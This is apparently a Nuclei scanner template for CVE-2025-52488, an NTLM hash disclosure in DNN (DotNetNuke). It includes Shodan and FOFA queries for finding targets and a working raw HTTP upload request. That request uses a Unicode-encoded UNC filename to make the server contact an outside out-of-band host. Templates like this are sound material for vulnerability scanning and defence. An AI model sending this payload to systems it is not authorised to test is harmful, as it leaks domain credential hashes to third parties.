DNN (DotNetNuke) - Unicode Path Normalization NTLM Hash Disclosure

id: CVE-2025-52488

info:
  name: DNN (DotNetNuke) - Unicode Path Normalization NTLM Hash Disclosure
  author: assetnote,DhiyaneshDk,iamnoooob,pdresearch
  severity: high
  description: |
    DNN (formerly DotNetNuke) is an open-source web content management platform (CMS) in the Microsoft ecosystem. In versions 6.0.0 to before 10.0.1, DNN.PLATFORM allows a specially crafted series of malicious interaction to potentially expose NTLM hashes to a third party SMB server. This issue has been patched in version 10.0.1.
  impact: |
    Unauthenticated attackers can force the server to retrieve NTLM authentication hashes through malicious file uploads with Unicode-normalized paths, potentially exposing domain credentials to third-party SMB servers.
  remediation: |
    Upgrade DNN Platform to version 10.0.1 or later that properly handles Unicode path normalization and prevents NTLM hash disclosure.
  reference:
    - https://github.com/dnnsoftware/Dnn.Platform/security/advisories/GHSA-mgfv-2362-jq96
    - https://slcyber.io/assetnote-security-research-center/abusing-windows-net-quirks-and-unicode-normalization-to-exploit-dnn-dotnetnuke/#hunting-variants
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2025-52488
    cwe-id: CWE-200
    cpe: cpe:2.3:a:dnnsoftware:dotnetnuke:*:*:*:*:*:*:*:*
    epss-score: 0.35761
    epss-percentile: 0.98478
  metadata:
    verified: true
    max-request: 1
    vendor: dnnsoftware
    product: dotnetnuke
    shodan-query:
      - "Set-Cookie: dnn_IsMobile"
      - http.favicon.hash:-1465479343
    fofa-query:
      - app="dotnetnuke"
      - "Set-Cookie: dnn_IsMobile"
      - icon_hash="-1465479343"
  tags: cve,cve2025,file-upload,dotnetnuke,oast,oob,dnnsoftware,oss,ntlm,vkev,vuln

variables:
  payload: "%EF%BC%BC%EF%BC%BC{{interactsh-url}}%EF%BC%BC%EF%BC%BCc$%EF%BC%BC%EF%BC%BCan.jpg"

http:
  - raw:
      - |
        POST /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx?PortalID=0&storageFolderID=1&overrideFiles=false HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXX

        ------WebKitFormBoundaryXXXXXXXXXXXX
        Content-Disposition: form-data; name="file"; filename="{{url_decode(replace(payload,'.','%EF%BC%8E'))}}"
        Content-Type: image/jpeg

        {{randstr}}
        ------WebKitFormBoundaryXXXXXXXXXXXX--

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: dsl
        dsl:
          - "contains(to_lower(header), 'dnn_ismobile')"
          - "contains_any(to_lower(body), 'dotnetnuke', 'dnnconnect', 'runtime error')"
        condition: or